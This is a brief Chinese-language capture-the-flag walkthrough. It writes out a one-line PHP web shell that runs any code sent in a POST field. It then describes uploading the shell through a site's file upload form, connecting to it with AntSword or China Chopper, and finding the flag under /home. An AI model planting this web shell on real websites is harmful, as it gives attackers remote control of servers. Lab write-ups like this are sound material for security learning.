准备工具 上传的文件（一句话木马） 蚁剑，菜刀 需要攻击的网站 将<?php @eval($_POST['shell']);?>写入一个Php文件## 第二步寻找网站上传点，并将webshell.php文件上传 最后寻找文件上传地址 利用蚁剑打开网站 登陆网站寻找在home中寻找到了flag 相关文章：